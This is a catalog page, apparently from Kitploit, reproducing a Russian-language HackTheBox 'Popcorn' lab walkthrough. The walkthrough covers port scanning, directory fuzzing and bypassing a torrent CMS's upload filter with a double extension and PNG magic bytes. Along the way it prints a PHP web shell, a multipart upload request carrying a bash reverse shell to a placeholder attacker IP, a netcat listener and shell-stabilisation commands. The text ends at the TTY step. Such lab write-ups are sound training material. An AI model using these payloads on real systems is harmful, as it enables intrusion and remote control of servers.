Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Popcorn-TJNULL-OSCP- — Разбор Popcorn HTB, охватывающий продвинутый фаззинг директорий, обход загрузки файлов с помощью магических чисел/подмены расширения с использованием Burp Suite, и повышение привилегий через CVE-2010-0832 (взлом файла PAM MOTD). | Kitploit
Инструменты/GitHubGitHub/r3fr4kt/popcorn-tjnull-oscp-
Повышение привилегийРазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФаззингCTFТестирование на ПроникновениеОбучение и Образование

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Лаборатории и Практика
GitHubr3fr4kt/popcorn-tjnull-oscp-

Popcorn-TJNULL-OSCP-

Разбор Popcorn HTB, охватывающий продвинутый фаззинг директорий, обход загрузки файлов с помощью магических чисел/подмены расширения с использованием Burp Suite, и повышение привилегий через CVE-2010-0832 (взлом файла PAM MOTD).

Репозиторий
123 месяцев назадЕщё не проверено

HackTheBox: Разбор Popcorn

Дата: 05 июня 2026
Сложность: Лёгкая
Платформа: HackTheBox
Ключевые техники: Сканирование портов и сервисов, фаззинг каталогов (Gobuster), обход фильтров загрузки файлов, манипуляция HTTP-запросами (Burp Suite), удалённое выполнение кода (RCE), продвинутая стабилизация TTY-оболочки (Python), локальная эксплуатация ядра/PAM (подмена файлов MOTD).


1. Разведка и перебор

Сканирование портов (Быстрая разведка)

Начинаем с быстрого TCP-сканирования всех 65 535 портов (-p-) для поиска открытых точек входа. Оптимизируем скорость выполнения с помощью --min-rate 5000, отключаем разрешение DNS и ping-проверки для ускорения процесса в среде аудита:

nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>

Первоначальное сканирование надёжно обнаруживает два открытых порта: порт 22 (SSH) и порт 80 (HTTP).

Сканирование сервисов и уязвимостей (Углублённый анализ)

Затем выполняем целенаправленное углублённое сканирование на обнаруженных портах для определения точных версий сервисов и запуска стандартных и базовых скриптов уязвимостей Nmap:

nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>

Из вывода извлекаем критическую информацию о целевой системе:

  • Порт 22/TCP (SSH): OpenSSH 5.1 Debian 6ubuntu2 (Указывает на значительно устаревший дистрибутив Ubuntu Linux).
  • Порт 80/TCP (HTTP): Apache httpd 2.2.12

Фаззинг каталогов (Gobuster)

Перед взаимодействием с веб-приложением через браузер добавляем IP-адрес цели в файл /etc/hosts атакующей машины, чтобы упорядочить сопоставление доменов и гарантировать корректное разрешение внутренних перенаправлений:

<VICTIM_IP>    popcorn.htb

Затем запускаем автоматическое обнаружение скрытых каталогов с помощью gobuster и классического среднего списка слов DirBuster:

gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt

Фаза фаззинга обнаруживает следующие доступные пути на веб-сервере жертвы:

  • /index (Стандартная индексная страница).
  • /test (Тестовая панель или файл с информацией о разработке).
  • /torrent (Полнофункциональная веб-платформа для хостинга и обмена торрент-файлами).
  • /response (Внутренняя страница ответов).

2. Вектор начального доступа (Веб-эксплуатация и обход фильтров)

Исследование каталога /torrent обнаруживает CMS для обмена торрентами. Для взаимодействия с функциями загрузки мы регистрируемся и входим в учётную запись, созданную на месте. После публикации легитимного .torrent-файла платформа предоставляет возможность редактировать детали торрента и загружать рекламное изображение скриншота. Эта конкретная форма становится нашим основным вектором атаки.

Для достижения удалённого выполнения кода (RCE) мы проходим через несколько этапов тестирования, анализируя поведение бэкенда с помощью Burp Suite (Repeater):

Попытка 1: Динамический веб-шелл через GET-параметры (Синтаксическая ошибка)

Перехватываем запрос на загрузку скриншота и изменяем имя файла на exploit.php. Пытаемся вставить классический однострочный веб-шелл в тело файла:

<?php system($_GET['cmd']) ?>

Результат: Веб-сервер возвращает внутреннюю ошибку выполнения из-за отсутствующей точки с запятой ; в конце инструкции PHP, что нарушает поток выполнения.

Попытка 2: Инъекция с параметрами в URL загрузки (Метод не сработал)

Исправляем синтаксис на <?php system($_GET['cmd']); ?>, но поскольку запрос отправляется методом POST (с использованием multipart/form-data), мы пытаемся передать команду напрямую в URL заголовка (POST /torrent/upload_file.php?cmd=whoami).

Результат: Веб-сервер выдаёт следующую ошибку:

Cannot execute a blank command

Анализ: Во время обработки загрузки файла бэкенд полностью игнорирует GET-переменные, присутствующие в URL. Скрипт upload_file.php записывает файл на диск, но немедленно пытается выполнить внутреннюю функцию. Поскольку он ничего не получает в ожидаемых переменных тела, $_GET['cmd'] обрабатывается как пустое значение.

Попытка 3: Двойное расширение (Статическое выполнение не удалось)

Чтобы обойти базовые фильтры проверки расширений, которые определяют, является ли файл допустимым изображением, переименовываем файл в innocent.php.png и жёстко прописываем полезную нагрузку обратного шелла, чтобы он не зависел от внешних параметров:

Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>

Результат: Сервер отвечает успешным 200 OK со следующим сообщением:

Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.

Анализ: Хотя это позволило обойти начальный фильтр, поскольку файл строго заканчивался расширением .png, сервер Apache обработал его как обычное статическое изображение. При переходе по ссылке браузер просто выводит необработанные байты как обычный текст; Apache не передаёт файл интерпретатору PHP, что означает, что наш слушатель Netcat так и не получает соединение.

Попытка 4: Успешный обход (Изменение расширения и магические числа)

Зная, что серверу необходимо обработать расширение .php для запуска выполнения кода, мы меняем порядок расширений (innocent.png.php), сохраняем заголовок Content-Type: image/png и добавляем сигнатуру PNG или магические числа (‰PNG) в начало тела файла, чтобы обмануть проверки содержимого бэкенда:

POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1

------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--

Результат: Веб-сервер чисто принимает файл, обрабатывает конечное расширение и сохраняет его в каталоге загрузок под именем innocent.php:

HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.

Запуск удалённого выполнения кода (RCE)

Поскольку скрипт загрузки только сохраняет файл на диск без его выполнения в контексте POST-запроса на загрузку, мы запускаем отдельный вызов, чтобы заставить сервер прочитать его:

  1. Настраиваем слушатель Netcat на атакующей машине:
nc -lvnp 4444

  1. Запускаем обратный шелл, перейдя напрямую по URL-пути загруженного файла (через браузер или чистый GET-запрос в Burp):
[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)

Сервер Apache вынужден обработать файл, обнаруживает PHP-теги, выполняет Bash-полезную нагрузку, и соединение успешно принимается на нашем слушателе, предоставляя начальный доступ от имени пользователя www-data.


3. Пост-эксплуатация и стабилизация TTY-оболочки

Попытка повышения привилегий сразу после получения шелла выявляет серьёзные ограничения среды:

www-data@popcorn:/$ su root
su: must be run from a terminal

Команда su строго требует реальный интерактивный терминал (TTY) для безопасного ввода. Попытка принудительно получить его через python3 показывает, что он не установлен на этой устаревшей системе (The program 'python3' is currently not installed).

Мы обходим это препятствие, используя классический бинарник Python (Python 2), присутствующий на машине, и перенастраивая дескрипторы терминала атакующей машины:

# 1. Запускаем интерактивную оболочку, используя абсолютный путь к старому Python
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'

# 2. Приостанавливаем процесс оболочки на фоне
Ctrl + Z
Скачать инструмент